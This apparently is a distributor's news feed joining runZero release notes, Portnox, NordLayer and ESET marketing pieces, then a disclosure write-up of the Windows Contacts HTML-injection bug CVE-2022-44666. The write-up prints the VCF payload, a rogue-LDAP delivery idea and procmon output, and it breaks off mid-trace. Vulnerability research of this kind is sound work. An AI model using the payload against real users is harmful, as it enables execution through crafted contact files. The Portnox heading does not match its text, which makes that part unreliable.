Skip to content

runZero 3.10: New integrations page, UX improvements, Black Hat 2023!

What’s new in runZero 3.10: #

  • Integrations page and menu updates
  • Redesigned Explorer detail page
  • Coming soon!

Integrations page and menu updates #

Previously, runZero customers used the Connect and Export menus to find and utilize integrations in the runZero console. As of 3.10 the Connect drop-down menu has been renamed to Integrate, and a new page has been added to the left menu bar titled Integrations. The integrations page displays all available integrations for runZero, with direct links to documentation and configuration pages where applicable. The integrations page shows not only the inbound integrations for runZero but our outbound and custom integrations as well, all in one place. We hope this change makes it easier for new and existing customers to configure integrations. It also showcases how runZero can work with other products and technologies in your ecosystem.

Redesigned Explorer detail page #

Officially released in 3.9.6, a redesign of the Explorer detail page refreshes the view of all existing details, and allows runZero users to view Explorer tasks and their status from the details page. Additionally, you can now edit Explorer details directly from the details page.

Coming soon: Want to see what we’ve been devOTing ourselves to lately? #

We have a new feature coming in August to assist with discovering fragile devices in OT environments and beyond. Our R&D teams have worked hard these past few months to make this a reality, and we’re excited to introduce it! Are you curious about our new OT capabilities? Are you going to Black Hat? Reach out to us to schedule an appointment and hear all about it.

Protocol improvements #

Through this release the research team has added or improved the following items:
  • Improved discovery of SSDP services providing visibility into devices that may need those services disabled
  • Added additional data extraction capabilities to our SSDP and UPnP probes
  • Added detection of SOCKS proxies
  • Improved our detection and handling of spoofed/invalid NTLMSSP versions in the SMB probe

Fingerprint improvements #

New fingerprints were added for products by Debian, DW, FRRouting Project, Google, Huawei, IADea, IBM, IndigoVision, ISC, Lexmark, MiniDLNA Project, Netgear, Nokia, ONVU Technologies Group, OpenBSD, Palo Alto Networks, QSI, ServerTech, Siemens, Siqura, Sony, StarSat, Tycho, and Ubiquiti.

Rapid response #

The research team published a blog post about finding vulnerable instances of the Fortinet SSL VPN in response to the publication of a critical vulnerability that could allow remote unauthenticated exploitation.

Release notes #

The runZero 3.10 release includes a rollup of all the 3.9.x updates, which includes all of the following features, improvements, and updates.

New features #

  • An integrations page has been added to improve visibility and simplify configuration.
  • An update to the Trends tab of Attack Surface Management graphs has been added to show enhanced date and time data.

Product improvements #

  • Assets with hostnames starting with a numeric prefix are now allowed to merge.
  • Inventory searches using keyword organization properly warn that it cannot be used unless either that specific organization or the All Organizations option are chosen from the drop-down in the upper right of the console.
  • Improved detection of various printer models.
  • The Explorer details page has been redesigned.
  • Improved database performance for asset, site, and organization delete operations.
  • Improved database performance for outlier and vulnerability processing.
  • Improved database performance for concurrent integration processing.
  • Additional MAC address detection through SSDP and UPnP services.
  • Improved operating system and hardware fingerprinting of Palo Alto Networks devices.
  • Trial accounts can now create Custom Integrations.
  • Discovery of SSDP services has been improved.
  • Improved handling of email send errors.
  • Asset correlation has been improved for switches with overlapping MAC addresses.
  • Improved detection of AIX systems.
  • Reduced OS fingerprinting false positives against assets with non-Microsoft SMB stacks.
  • Improved handling of login tokens.

Integration improvements #

  • Improved import of assets from Azure Active Directory.

Bug fixes #

  • A bug that could cause the MDNS probe to panic in limited scenarios has been resolved.
  • An issue that could result in the old Explorer details pages being shown has been resolved.
  • A bug preventing Microsoft 365 Defender OAuth Client Credential tokens from accessing Azure government environments has been resolved.
  • A bug that could result in invalid Last Seen values for Rapid7 assets has been resolved.
  • A bug that could lead to stale service entries has been resolved.
  • A bug causing some goals to return an error has been resolved.
  • An issue that could prevent alert rule actions from modifying asset ownership based on software, service, or vulnerability query results is resolved.
  • An issue where dynamic content did not have the header Cache-Control: no-store has been resolved.
  • A bug has been fixed that could cause scans to be dropped with explorer failed to queue task when the Explorer was already handling the configured maximum number of simultaneous scans.
  • A bug causing the task start time to be shown for the scan start time has been resolved.
  • A bug that could prevent the creation of new goals has been resolved.
  • A bug that could prevent those with the annotator role from viewing or modifying Asset Ownership has been resolved.
  • An issue that could prevent navigation to the Account settings page has been resolved.
  • A bug causing JavaScript errors to be thrown when adding or editing Google Workspace connector tasks has been resolved.
  • A bug with thumbprint validation for the LDAP integration has been resolved and the related error messages have been improved.
  • A bug where the link to help for query syntax led to a missing page has been resolved.
  • A bug preventing the Explorer interface and addresses from being populated has been addressed.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About runZero
runZero, a network discovery and asset inventory solution, was founded in 2018 by HD Moore, the creator of Metasploit. HD envisioned a modern active discovery solution that could find and identify everything on a network–without credentials. As a security researcher and penetration tester, he often employed benign ways to get information leaks and piece them together to build device profiles. Eventually, this work led him to leverage applied research and the discovery techniques developed for security and penetration testing to create runZero.

The OSINT Framework: How Hackers Can Leverage it to Breach Your Organization

Passwords have long been a weak link in the security chain. They can be easily guessed, stolen, or cracked through various malicious techniques. Passwordless login methods eliminate the reliance on passwords altogether, significantly enhancing security. By employing advanced technologies such as public-key cryptography, companies can implement strong authentication protocols that are resistant to brute-force attacks, phishing attempts, and credential stuffing. passwordless ssh portnox

Considering Passwordless Login? Here’s What You Need to Know…

When implementing passwordless login methods for network authentication, cybersecurity professionals should consider the following key factors:
I. Strong Authentication Protocols
Passwordless authentication should employ strong authentication protocols, such as public key cryptography. These protocols add an extra layer of security beyond just passwords and provide more robust protection against unauthorized access.
II. Secure Credential Storage
With passwordless login, sensitive credentials like private keys can be used. It is crucial to ensure secure storage of these credentials, either through encrypted cloud-based storage solutions or hardware-based security modules if necessary. Unauthorized access to these credentials could lead to serious security breaches.
III. User Experience and Adoption
Passwordless methods should be designed with a focus on user experience to encourage adoption. Complex or cumbersome authentication processes can result in user resistance or workarounds that compromise security. Balancing security and usability is crucial for successful implementation.
IV. Robust Identity Verification
Passwordless login should include robust identity verification mechanisms to ensure that the person requesting access is indeed the legitimate user. This can involve factors such as device attestation or contextual information like location or network patterns to establish trust.
V. Monitoring and Logging
It is essential to implement monitoring and logging mechanisms to track authentication events and detect any suspicious or malicious activities. Security professionals should have visibility into the authentication process to identify potential threats and respond promptly to security incidents.
VI. Continual Security Updates and Patches
Passwordless methods, like any other security solution, may have vulnerabilities that could be exploited by attackers. Vulnerability assessments should be conducted to ensure that the authentication system remains resilient against emerging threats. Cloud-native solutions can help eliminate the need for continuous patching, updating and general system maintenance.
VII. Backup and Recovery Mechanisms
Implementing passwordless login should also include considerations for backup and recovery mechanisms. In the event of system failures or credential loss, there should be processes in place to restore access securely and without compromising security.
VIII. User Education and Awareness
Introducing passwordless methods requires educating users about the new authentication methods, their benefits, and best practices. Users should understand the security implications, potential risks, and how to properly use and protect their credentials to maintain a strong security posture.
IX. Threat Modeling and Risk Assessment
Before implementing passwordless authentication, conducting a comprehensive threat modeling and risk assessment is critical. This helps identify potential threats, vulnerabilities, and risks associated with the chosen authentication methods and allows for the implementation of appropriate security controls.

The Future of the Passwordless Login Trend

As the workforce adopts new habits and technologies and cyber threats evolve in parallel, the adoption of passwordless login methods for security authentication is gaining momentum. By eliminating the weaknesses of traditional passwords, companies can enhance security, streamline user experience, and meet compliance requirements. Passwordless authentication provides a robust and convenient solution for organizations seeking to protect sensitive data, accommodate mobile workforces, and reduce the costs associated with password management. Embracing this innovative approach empowers companies to strengthen their security defenses, adapt to the changing work environment, and stay resilient in the face of evolving cyber threats.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Portnox
Portnox provides simple-to-deploy, operate and maintain network access control, security and visibility solutions. Portnox software can be deployed on-premises, as a cloud-delivered service, or in hybrid mode. It is agentless and vendor-agnostic, allowing organizations to maximize their existing network and cybersecurity investments. Hundreds of enterprises around the world rely on Portnox for network visibility, cybersecurity policy enforcement and regulatory compliance. The company has been recognized for its innovations by Info Security Products Guide, Cyber Security Excellence Awards, IoT Innovator Awards, Computing Security Awards, Best of Interop ITX and Cyber Defense Magazine. Portnox has offices in the U.S., Europe and Asia. For information visit http://www.portnox.com, and follow us on Twitter and LinkedIn.。

Building a winning enterprise cloud strategy: a comprehensive guide

Summary: Cloud computing delivers huge benefits for modern organizations. However, companies need to think strategically to realize the key benefits of the cloud. An effective enterprise cloud strategy provides a route from planning to deployment. With a strategy in place, companies can move assets and applications smoothly. And they can secure data in the cloud without leaving security gaps. In this article, you will find all the essential information required for crafting a successful plan to embrace cloud technology.

Key takeaways

  • Cloud services can be categorized into three types: IaaS, PaaS, and SaaS, each catering to different user needs and skill requirements

  • Cloud adoption should align with core business needs, considering factors such as workload suitability, team readiness, and the need for customization

  • Compliance with regulations like PCI-DSS or HIPAA is crucial when planning a cloud strategy to avoid potential violations

  • A well-designed enterprise cloud strategy ensures functional and secure cloud deployment.

  • Careful planning and monitoring are essential to counter risks and prevent critical problems during cloud migration.

This article will provide everything you need to know to create an effective cloud adoption plan. Let’s start at the beginning with a definition of what we mean by “enterprise cloud strategy” and why strategic thinking is so important.

Core concepts of enterprise cloud strategy

Definition of enterprise cloud

An enterprise cloud is a virtualized environment that contains flexible and scalable computing infrastructure. Cloud infrastructure provides on-demand access to shared resources. This includes the servers, apps, and data required to host workloads and virtualize key enterprise operations.

A well-designed enterprise cloud has many benefits.

  • Virtualized infrastructure reduces the need for on-premises network infrastructure. This reduces the burden on IT teams to maintain physical hardware and lowers overall operating costs.

  • Enterprise clouds are easy to customize and reshape. As businesses change, their cloud environment can follow.

Enterprise cloud architecture also has cybersecurity benefits.

  • Companies can protect sensitive data with robust security measures located inside the cloud. Organizations can encrypt data, apply access controls, and leverage cloud-native threat detection tools.

  • Centralized administrative tools provide full visibility of user activity and data integrity. And cloud-based logging systems assist with both auditing and incident responses.

Different types of cloud services

The nature of your enterprise cloud strategy depends on the type of cloud services you use. Cloud technologies can be divided into three overall categories:

IaaS

Infrastructure-as-a-Service provides access to cloud infrastructure. This is usually provisioned on a pay-as-you-go model. IaaS users purchase access to servers, storage containers, and cloud networking capacity. They can use this infrastructure to create custom-built cloud solutions. IT teams can retain control over every aspect of their cloud deployment. IaaS is flexible, but users will need cloud architect skills. Additional training may be needed to realize the benefits of this cloud solution.

PaaS

Platform-as-a-Service provides access to off-the-shelf cloud development platforms. Development platforms include basic cloud infrastructure and the tools needed to build cloud apps. This reduces the time required to launch new cloud services. Cloud tenants can focus on building streamlined solutions. They do not need to manage the underlying infrastructure. Microsoft Azure and Google Cloud are examples of this kind of cloud product.

SaaS

Software-as-a-Service provides access to individual cloud apps or services. Apps are provided in ready-to-use format and are generally accessible via web browsers. SaaS tools include eCommerce platforms, collaboration apps, and CRM systems. These services require no on-site installation. And they scale automatically as businesses grow.

Understanding cloud strategy in an enterprise context

The adoption of cloud services should align with core business needs.

Companies must assess workloads and decide which cloud system suits their operations. They must ask whether teams can operate in the cloud and whether existing SaaS solutions suit their needs. If not, custom PaaS solutions may be necessary.

Capacity also influences cloud strategy. Businesses should only commission cloud services that they can afford to build, maintain, and secure. Securing IaaS and PaaS environments is complex and resource-intensive. Some enterprises may find that lightweight SaaS alternatives are preferable.

Compliance is another critical consideration. A successful cloud migration delivers efficiency gains and enhances flexibility. But cloud adoption can lead to violations of regulations such as PCI-DSS or HIPAA. Organizations must plan their strategy with compliance goals in mind.

Why do you need a cloud strategy?

The importance of an enterprise cloud strategy

An enterprise cloud strategy maps a clear route to a functional and secure cloud deployment. And a well-designed strategy offers many benefits.

  • The strategy assesses existing systems, understanding what to retain and what to discard.

  • Planners determine what applications and data will migrate to the cloud.

  • They decide which cloud technologies to use, and include any necessary security measures.

  • Planning teams set timescales for the cloud strategy. This avoids delays and ensures that deployments are not rushed.

Enterprise cloud strategies deliver the benefits of cloud computing while avoiding problems associated with chaotic deployments.

Around 90% of companies use multi-cloud solutions that divide data and apps between various hosting providers. About a third of companies using the cloud do not encrypt their data. And figures from 2022 show that 27% of cloud-using enterprises experienced a data breach on the public cloud.

Chaotically organized cloud deployments compromise security. They make it harder to locate and protect sensitive data. And they reduce efficiency. Silos can limit the flow of information. App configurations may vary across the cloud environment. But an enterprise cloud strategy solves these problems.

Benefits of cloud adoption for businesses

The cloud has revolutionized digital business. Every month, companies gain a competitive advantage by migrating functions to the cloud. Cloud storage providers offer cheaper, faster, and more secure solutions. And development tools make it easier to build customized cloud environments.

Despite these benefits, many companies have not yet embraced the cloud or have staged partial migrations. Benefits of full cloud adoption for businesses include:

Operational efficiency

A cloud-first strategy eliminates the need to maintain extensive hardware infrastructure. Cloud deployments scale rapidly and easily. Companies can automate resource provisioning and deliver workloads wherever they are needed. Administrators can also manage network assets centrally. The result is streamlined operations and greater productivity.

Enhanced security

The cloud benefits cybersecurity in many ways. Enterprises can encrypt data hosted on cloud assets. They can implement granular access controls and regulate access according to job roles. Cloud platforms enable real-time activity monitoring and alerts, resulting in rapid incident responses. Moreover, trusted cloud providers focus on securing their products against malware and exploits. Not all enterprises have the capacity to do so.

Cost-effectiveness

Cloud adoption allows cost optimization by shifting computing into a virtualized environment. Enterprises do not need to make large up-front infrastructure investments. There is less need for on-site servers or routers. Scalable systems optimize resource use and allow companies to expand smoothly. And the payment models of PaaS or IaaS providers cater to different enterprise needs.

Exploring cloud strategy options: finding the perfect fit

Single public cloud strategy: unlocking provider offerings

A single public cloud strategy uses a single public cloud provider to host assets in the public cloud. This strategy has numerous benefits. Single public cloud systems are simpler than multi-cloud alternatives. This enables companies to focus on their core competencies.

Administrators can easily integrate application communities and standardize operations in the cloud. A single cloud is easy to monitor and secure and will carry a much lower compliance burden. Pay-as-you-go models also make single public cloud deployments the most cost-effective cloud solutions.

The single public cloud strategy suffers from loss of control and potential insecurity. Users must apply tight access controls to guard the network edge. They also have little control over the infrastructure that supports cloud assets.

Single private cloud strategy: balancing control and security

A single private cloud strategy involves the creation of a dedicated cloud environment to host corporate assets. The private cloud is separate from the public internet. Users can customize security controls and network protocols. This allows companies to prioritize data security and minimize the risk of external attacks.

Companies using a single private cloud strategy have complete ownership of their deployment. Consistent ownership can deliver performance improvements. And users can tailor their cloud environment to enable flexible scaling.

The downside of this strategy is complexity. Organizations must dedicate resources to create and maintain cloud environments. They also have complete responsibility for security and must rely on internal expertise.

Hybrid cloud strategy: integrating the best of both worlds

Hybrid cloud strategies feature a combination of public and private cloud infrastructure. When designed correctly, a hybrid cloud environment delivers the benefits of both strategies.

Hybrid deployments can leverage the flexibility and scalability of public clouds. Organizations can experiment with different cloud components and allocate resources to workloads as required. They can mobilize AI tools to analyze large data sets. And they can create failover systems in the public cloud. This supports incident response strategies.

At the same time, security teams can use private cloud environments to protect critical data. Administrators can create strict access controls for secure private clouds. These controls grant access based on employee roles. They can also combine with multi-factor authentication for added security.

Multiple-public cloud strategy: orchestrating a dynamic cloud ecosystem

Multi-cloud strategies involve the use of multiple public cloud providers. For instance, companies may use Google Cloud Platform for collaboration and AWS for cloud storage. This model has various potential benefits.

Multiple cloud service models balance agility and cost. Companies can use leading cloud providers for specialist tasks. They can also compare different providers to find the most cost-effective solution.

Multi-cloud solutions suit globally-distributed workforces. Companies can locate cloud resources close to users by leveraging cloud computing services around the world. They also make cloud deployments more resilient. Multiple clouds avoid single points of failure. Organizations can shift workloads between CSPs when outages occur.

Building an effective enterprise cloud strategy

1. Create a cloud strategy team

Your cloud strategy team will see the project through to completion and must include input from outside the IT department. Bring in key stakeholders from finance, operations, HR, marketing, and security. Every department will use the cloud environment. Buy-in from managers is essential when changing IT infrastructure.

Establish communication channels and collaboration tools. And set out a timescale to meet project goals. Every team member should have clear responsibilities and know exactly what role they will play as cloud adoption takes place.

  • Form a cloud strategy team with representatives from various departments

  • Establish effective communication channels and collaboration tools to facilitate coordination

  • Define specific milestones to track progress and meet project goals

  • Assign clear responsibilities to each team member

  • Provide necessary training and support to team members

2. Carry out application analysis

Application analysis assesses the apps that employees currently use to carry out core workloads. Assess whether applications are compatible with cloud platforms, and any dependencies they have. Some apps may be suitable for cloud migration. Others may require complete replacement. Identify necessary actions and add them to the cloud strategy document.

Security is a key concern here. If apps handle sensitive data, assess whether this data will be adequately secured in the cloud. If not, define additional security controls to ensure data security after cloud adoption.

  • Determine compatibility of applications with cloud platforms and identify any dependencies

  • Classify apps as suitable for cloud migration or requiring complete replacement

  • Document necessary actions in the cloud strategy document based on the analysis

  • Assess if sensitive data handled by the apps will be securely stored in the cloud

  • Define additional security controls if needed to ensure data security post-cloud adoption

3. Build a hybrid cloud strategy roadmap

Use the results of application analysis to create a cloud adoption roadmap. Describe how every workload will be moved to the cloud. Include a clear explanation of how access controls will apply and any other security controls linked to the workload.

At the cloud migration planning stage, decide which assets will remain in the public cloud, and which assets to store in private cloud environments. Categorize assets according to data sensitivity and risk. High-risk, high-value data should always be stored in the private cloud.

The cloud roadmap should explain how to migrate data and apps to the cloud. This may include information about data integration and transfer methods. For instance, data may require encryption during the transfer process.

  • Develop a detailed plan for migrating every workload to the cloud

  • Clearly define access controls and security measures associated with each workload

  • Evaluate assets and categorize them based on data sensitivity and risk levels

  • Determine which assets will be kept in the public cloud and which ones will be stored in private cloud

  • Document information on data integration and transfer methods

4. Upskill your workforce for cloud computing

Comprehensive staff training should be a key part of cloud adoption strategies. This should include basic security training. Introduce and explain cloud security policies. Ensure workers know how to access cloud assets securely and reinforce the penalties for policy breaches.

Training goes beyond security. Enterprises should upskill their workforce to capitalize on cloud technology. Invest in specialized courses in cloud architect skills. This could include DevOps courses or training related to specific cloud platforms. For example, it may be advisable to invest in AWS certification courses.

  • Prioritize basic security training for all employees involved in cloud operations

  • Introduce and explain cloud security policies clearly to the workforce

  • Reinforce the consequences and penalties associated with policy breaches

  • Invest in specialized courses for cloud architect skills to enhance proficiency

  • Consider offering DevOps courses or training specific to the chosen cloud platforms

5. Implement the enterprise cloud strategy

Strategies are useless if they are only paper exercises. Implementation is all-important. Assign a skilled employee to implement the organizational cloud strategy. This officer should be responsible for meeting project milestones. They should also manage communication with relevant stakeholders.

During implementation, enterprises should make their cloud deployment secure and resilient. Put in place monitoring technology to track user activity. Make sure auditing and scanning policies meet regulatory guidelines. And constantly test cloud assets to protect data against external intrusion.

  • Assign a skilled employee as the officer responsible for implementing the organizational cloud strategy

  • Oversee that cloud deployment is secure and resilient

  • Implement monitoring technology to track user activity

  • Regularly audit and scan cloud assets to ensure compliance with regulatory guidelines

  • Continuously test cloud assets to protect data against external intrusion

Overcoming challenges in enterprise cloud strategy

Tackling cloud migration challenges

Cloud migrations can encounter many obstacles. For instance:

  • Companies may lack the bandwidth to transfer files.

  • Applications may be incompatible with cloud platforms.

  • Dependency mapping can fail, compromising operational efficiency.

  • Risk management issues can arise, putting data at risk.

  • Cloud migration requires a deep understanding of cloud technologies, architecture, and best practices, so a shortage of specialists can be considered a challenge.

Carefully plan a strategy that counters these risks. Monitor the process to detect problems before they become critical.

Managing cloud security risks

Securing data in the cloud is a critical challenge. Organizations must:

  • Guard systems against unauthorized access

  • Encrypt sensitive data without compromising availability

  • Maintain visibility of user activity

  • Managing hybrid private and public clouds

  • Manage app profiles and prevent unauthorized app installations

Security planning ensures that organizations put in place effective controls. Ongoing monitoring and regular security audits will detect threats. Security teams will be well-placed to make necessary changes.

Addressing compliance and legal issues

Cloud investments must comply with data security regulations. Enterprise architects must research the regulatory landscape and understand their obligations. Compliance should feed into the cloud strategy at all times. For instance, security controls should be tailored to fit PCI-DSS rules.

Companies also need to understand the shared responsibility model. Your IT department should assess each service provider. Create clear policies for mission-critical applications that define how to use them securely. And seek external help if you require extra assurance.

How can NordLayer help?

Security is one of the key elements of any digital transformation. And it is particularly important when adopting cloud technology. Cloud strategies must include access controls, encryption, firewall systems, and security auditing. But building cloud security systems is not always easy.

NordLayer can help you secure your cloud deployment strategy. Our Virtual Private Gateways enable secure access to cloud apps. IP allowlisting and Site-to-Site tunnels ensure that only authorized personnel can access your cloud environments  and police the network edge. Users can also mobilize 2FA and SSO to ensure secure authentication. Combining our solutions makes movement to the cloud safer and easier to manage.

Robust cloud security lets you meet your business goals. Contact the NordLayer team to learn more.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

ESET Threat Report: The remarkable adaptability of cybercriminals, the comeback of sextortion scams, and a rise in deceptive loan apps

  • The H1 2023 ESET Threat Report highlights the remarkable adaptability of cybercriminals: through exploiting vulnerabilities, gaining unauthorized access, compromising sensitive information, or defrauding individuals.
  • Attackers developed new methods to attempt to bypass Microsoft security measures, including using weaponized OneNote files instead of Office macros. ESET researchers observed the comeback of so-called sextortion scam emails and an alarming growth of deceptive Android loan apps.
  • ESET telemetry data also suggests that operators of the Emotet botnet have struggled to adapt, possibly indicating that a different group acquired the botnet.
  • Leaked source code of ransomware families such as Babyk, LockBit, and Conti has been increasingly used in the development of new ransomware variants in H1 2023.
  • The H1 2023 Threat Report covers December 2022 through May 2023, transitioning from a triannual to a semiannual release schedule.

BRATISLAVA — July 11, 2023 — ESET has released its latest Threat Report, which summarizes threat landscape trends seen in ESET telemetry from December 2022 through May 2023. In H1 2023, we observed developments highlighting cybercriminals’ remarkable adaptability and pursuit of new avenues of attack: exploiting vulnerabilities, gaining unauthorized access, compromising sensitive information, and defrauding individuals. One of the reasons for shifts in attack patterns is stricter security policies introduced by Microsoft, particularly on opening macro-enabled files. ESET telemetry data also suggests that operators of the once-notorious Emotet botnet have struggled to adapt to the shrinking attack surface, possibly indicating that a different group acquired the botnet. In the ransomware arena, actors increasingly reused previously leaked source code to build new ransomware variants. During the first half of 2023, sextortion email scams made a comeback, and ESET observed an alarming growth in the number of deceptive Android loan apps.

According to the report, in a new attempt to bypass Microsoft security measures, attackers substituted Office macros with weaponized OneNote files in H1 2023, leveraging the capability to embed scripts and files directly into OneNote. In response, Microsoft adjusted the default setup, prompting cybercriminals to continue exploring alternative intrusion vectors, with intensifying brute-force attacks against Microsoft SQL servers potentially representing one of the tested replacement approaches.

“Regarding the leaked source code of ransomware families such as Babyk, LockBit, and Conti, these allow amateurs to engage in ransomware activities, but at the same time enable us as defenders to cover a broader range of variants with a more generic or well-known set of detections and rules,” says ESET Chief Research Officer Roman Kováč.

While cryptocurrency threats have been steadily declining in ESET telemetry – not even being resurrected by the recent increase in bitcoin’s value – cryptocurrency-related cybercriminal activities continue to persist, with cryptomining and cryptostealing capabilities being increasingly incorporated into more versatile malware strains. This evolution follows a pattern observed in the past, such as when keylogger malware was initially identified as a separate threat, but eventually became a common capability of many malware families.

Looking at other threats focused on financial gain, ESET researchers observed the comeback of so-called sextortion scam emails, exploiting people’s fears related to their online activities, and an alarming growth in deceptive Android loan apps masquerading as legitimate personal loan services and taking advantage of vulnerable individuals with urgent financial needs.

For more information, check out the ESET Threat Report H1 2023 on WeLiveSecurity. Make sure to follow ESET Research on Twitter for the latest news from ESET Research.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About ESET
For 30 years, ESET® has been developing industry-leading IT security software and services for businesses and consumers worldwide. With solutions ranging from endpoint security to encryption and two-factor authentication, ESET’s high-performing, easy-to-use products give individuals and businesses the peace of mind to enjoy the full potential of their technology. ESET unobtrusively protects and monitors 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company. Backed by R&D facilities worldwide, ESET became the first IT security company to earn 100 Virus Bulletin VB100 awards, identifying every single “in-the-wild” malware without interruption since 2003.

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day)

This is the story about another forgotten 0day fully disclosed more than 4 years ago by John Page (aka hyp3rlinx). To understand the report, you have to consider i’m stupid 🙂 And my stupidicity drives me to take longer paths to solve simple issues, but it also leads me to figure out another ways to exploit some bugs. Why do i say this? Because i was unable to quickly understand that the way to create a .contact file is just browsing to Contact folder in order to create the contact, instead of that, i used this info to first create a VCF file and then, i wrongly thought that this was some type of variant. That was also because of my brain can’t understand some 0days are forgotten for so long time ¯\(ツ)/¯ Once done that and after the “wontfix” replies by MSRC and ZDI, further investigations were made to increase the severity, finally reaching out .contact files and windows url protocol handler “ldap”.

Details

  • Vendor: Microsoft.

  • App: Microsoft Windows Contacts.

  • Version: 10.0.19044.1826.

  • Tested systems: Windows 10 & Windows 11.

  • Tested system versions: Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]

Intro

While i was reading the exploit code for this vulnerability which was actually released as 0day and it’s possible to find ZDI’s report.

Update 2022/07/21: After reporting this case to MS, MSRC’s folks rightly pointed me out Windows Contacts isn’t the default program to open VCF files.

Further research still demonstrates the default program for VCF files on Win7 ESU & WinServer2019 is Windows Contacts (wab.exe), otherwise MS People (PeopleApp.exe) is used. Here is a full table of this testing:

  • Windows 7: Default program for VCF files is Windows Contacts (wab.exe).

  • Windows Server 2019: Default program for VCF files is Windows Contacts (wab.exe).

  • Windows 10: Default program for VCF files is MS People (PeopleApp.exe).

  • Windows 10 + MS Office: Default program for VCF files is MS Outlook (outlook.exe).

  • Windows 11: Default program for VCF files is MS People (PeopleApp.exe).

Anyway they still argue there’s some social engineering involved such as opening a crafted VCF file and clicking on some links to exploit the bug so doesn’t meet the MSRC bug bar for a security update.

Update 2022/07/25: Well, after further research, it’s the same bug. I’ve been finally able to find a .contact proof of concept. It’s actually possible to correctly parse a .contact file using HTML entities. Note this solves the previous issue (Update 2022/07/21) and this file format (.contact) is opened by Windows Contacts, default program for this file extension, even when MS Office is installed in the system. It just needs a first file association if hasn’t yet been done, but the only program installed by default to do that is Windows Contacts.

Update 2022/07/25: This further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. I was finally able to get it working thanks to ldap uri scheme, which is associated by default to Windows Contacts application, so just setting a rogue LDAP server up and serving the payload data under mail, url or wwwhomepage attributes, the exploiting impact is increased because now it’s not needed to double click a malicious VCF/Contact file, we can deliver this using url protocols.

Update 2023/02/08: As a gesture of goodwill by MSRC, John Page (aka hyp3rlinx) has been included in the acknowledgement page for CVE-2022-44666 discovery.

Description

The report basically is the same than above links, however i’ve improved a bit the social engineering involved. In fact, the first thing that i made was to improve the way the links are seen, just like it were a XSS vulnerability, it’s actually an HTML injection so it’s possible to close the first anchor element and insert a new one. Then, i wanted to remove the visibility for those HTML elements so just setting as long “innerHTML” as possible would be enough to hide them (because of there are char limits).

This is the final payload used:

URL;WORK:"></a><a href="notepad">CLICKMEEEEE...</a>

To watch what happens, run procmon and setup a fake target of href attribute like this:

URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>

Once clicked the link, an output like this is observed in procmon:

This is the stacktrace for the first “CreateFile” operation:

0	FLTMGR.SYS	FltpPerformPreCallbacksWorker + 0x36c	0xfffff806675a666c	C:\WINDOWS\System32\drivers\FLTMGR.SYS
1	FLTMGR.SYS	FltpPassThroughInternal + 0xca	0xfffff806675a611a	C:\WINDOWS\System32\drivers\FLTMGR.SYS
2	FLTMGR.SYS	FltpCreate + 0x310	0xfffff806675dc0c0	C:\WINDOWS\System32\drivers\FLTMGR.SYS
3	ntoskrnl.exe	IofCallDriver + 0x55	0xfffff8066904e565	C:\WINDOWS\system32\ntoskrnl.exe
4	ntoskrnl.exe	IoCallDriverWithTracing + 0x34	0xfffff8066909c224	C:\WINDOWS\system32\ntoskrnl.exe
5	ntoskrnl.exe	IopParseDevice + 0x117d	0xfffff806694256bd	C:\WINDOWS\system32\ntoskrnl.exe
6	ntoskrnl.exe	ObpLookupObjectName + 0x3fe	0xfffff8066941329e	C:\WINDOWS\system32\ntoskrnl.exe
7	ntoskrnl.exe	ObOpenObjectByNameEx + 0x1fa	0xfffff806694355fa	C:\WINDOWS\system32\ntoskrnl.exe
8	ntoskrnl.exe	NtQueryAttributesFile + 0x1c5	0xfffff80669501125	C:\WINDOWS\system32\ntoskrnl.exe
9	ntoskrnl.exe	KiSystemServiceCopyEnd + 0x25	0xfffff806692097b5	C:\WINDOWS\system32\ntoskrnl.exe
10	ntdll.dll	NtQueryAttributesFile + 0x14	0x7ff8f0aed4e4	C:\Windows\System32\ntdll.dll
11	KernelBase.dll	GetFileAttributesW + 0x85	0x7ff8ee19c045	C:\Windows\System32\KernelBase.dll
12	shlwapi.dll	PathFileExistsAndAttributesW + 0x5a	0x7ff8ef20212a	C:\Windows\System32\shlwapi.dll
13	shlwapi.dll	PathFileExistsDefExtAndAttributesW + 0xa1	0x7ff8ef2022b1	C:\Windows\System32\shlwapi.dll
